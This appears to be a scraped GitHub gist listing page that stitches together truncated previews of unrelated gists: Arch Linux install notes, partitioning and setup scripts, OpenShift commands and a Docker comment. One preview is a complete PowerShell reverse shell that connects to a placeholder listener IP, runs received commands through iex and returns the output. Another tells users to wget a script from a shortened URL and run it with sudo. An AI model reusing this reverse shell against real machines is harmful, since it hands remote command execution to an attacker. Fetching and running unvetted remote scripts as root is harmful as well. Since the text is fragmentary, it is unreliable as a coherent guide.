This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
These are working notes on the installation of Arch Linux. I've just completed this install on a notebook (Lenovo P50) | |
but the setup should work for most laptop/desktop configurations. | |
Some assumptions/notes: | |
1. This isn't a dual boot configuration. I can see some of the appeal and still work in Adobe from time to time, but given | |
the increasing complexity of EFI and the way Windows/MS manhandles the EFI partition during upgrades, I really would | |
recommend steering clear of dual boot. Just my two cents here. | |
2. We're encrypting with LUKS. I've used so-called "self encrypting drives" as well (and linux has multiple ways of dealing |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# WARNING!! | |
# This will obliterate all the data in your partition!! (not actually true, but act as if it was) | |
# Do NOT execute this script if you don't fully understand it! | |
# a few vars | |
amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' ) | |
# create partitions |
Picking the right architecture = Picking the right battles + Managing trade-offs
- Clarify and agree on the scope of the system
- User cases (description of sequences of events that, taken together, lead to a system doing something useful)
- Who is going to use it?
- How are they going to use it?
Some example commands for openshift/kubernetes, replace the oc with kubectl or otherwise
get all pods from all namespaces comma separated with namespace, pod name, container name, container image, pod status
oc get pods --all-namespaces -o go-template='{{range .items}}{{$status := .status.phase}}{{$namespace := .metadata.namespace}}{{$podname := .metadata.name}}{{range .spec.containers}}{{$namespace}}{{","}}{{$podname}}{{","}}{{.name}}{{","}}{{.image}}{{","}}{{$status}}{{"\n"}}{{end}}{{end}}'
oc get pods --all-namespaces -o go-template='{{range .items}}{{.metadata.namespace}},{{.metadata.name}},{{range $key, $element := .metadata.annotations}}{{if eq $key "openshift.io/scc"}}{{$element}}{{end}}{{end}}{{"\n"}}{{end}}'
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Run skype in a container, requires pulseaudio | |
# (but I have a container for that) | |
# | |
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \ | |
# -v $HOME/.Skype:/home/skype/.Skype \ | |
# -e DISPLAY=unix$DISPLAY \ | |
# --link pulseaudio:pulseaudio \ | |
# -e PULSE_SERVER=pulseaudio \ | |
# --device /dev/video0 \ | |
# --name skype \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# nous,2019-2020 | |
# How to use | |
# wget https://tiny.cc/fucksystemd | |
# chmod +x fucksystemd | |
# sudo ./fucksystemd | |
# Test Arch ISO installation: | |
# cfdisk /dev/sda |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
die() { | |
printf '\033[1;31m!>\033[m %s.\n' "$@" >&2 | |
exit 1 | |
} | |
log() { | |
printf '\033[1;32m=>\033[m %s.\n' "$@" | |
} |